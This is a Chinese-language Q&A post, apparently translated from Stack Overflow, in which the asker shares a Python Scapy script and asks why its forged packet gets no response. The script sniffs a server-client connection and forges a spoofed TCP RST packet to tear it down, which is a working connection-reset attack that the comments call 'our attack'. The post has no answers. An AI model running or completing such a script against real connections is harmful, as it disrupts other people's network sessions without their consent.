scapy剩余数据包,未收到

时间:2018-03-23 13:48:30

标签: python networking tcp scapy

我有scapy的问题,它说:

Finished to send 1 packets

但我在tcpdump上没有收到任何东西,当我关闭scapy时:

Received 0 packets, got 0 answers, remaining 1 packets

“剩余1个包”是什么意思? 这是代码:

#Usage: script.py serveur_ip serveur_port client_ip
from scapy.all import *
import sys

#Création of the filter for the sniffer
filtre="host " + sys.argv[1] + " and port " + sys.argv[2]
print "THe filter used will be : {}".format(filtre)

#Function used by the sniffer for each received packet:
def rst_hijack(p):
    #If the source is the remote-host and the destination is the target
    if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
        print "Connexion trouvée"
        #We forge a packet for our attack from the received packet
        #Ethernet
        ether=Ether(dst=p[Ether].src, src=p[Ether].dst)
        ether.show()
        #IP
        ip=IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
            proto=p[IP].proto, id=29221)
        ip.show()
        #TCP
        tcp=TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
            reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
        tcp.show()
        #We forge the final paquet
        reset=ether/ip/tcp
        reset.show()
        #We send it
        srp(reset)
        exit()

#Sniffer That applies to each packet the rst_hijack function, packet filtered according to the filter
sniff(count=0, iface="ens37", prn=lambda p: rst_hijack(p), filter=filtre, lfilter=lambda x: x.haslayer(IP) and x.haslayer(TCP))

0 个答案:

没有答案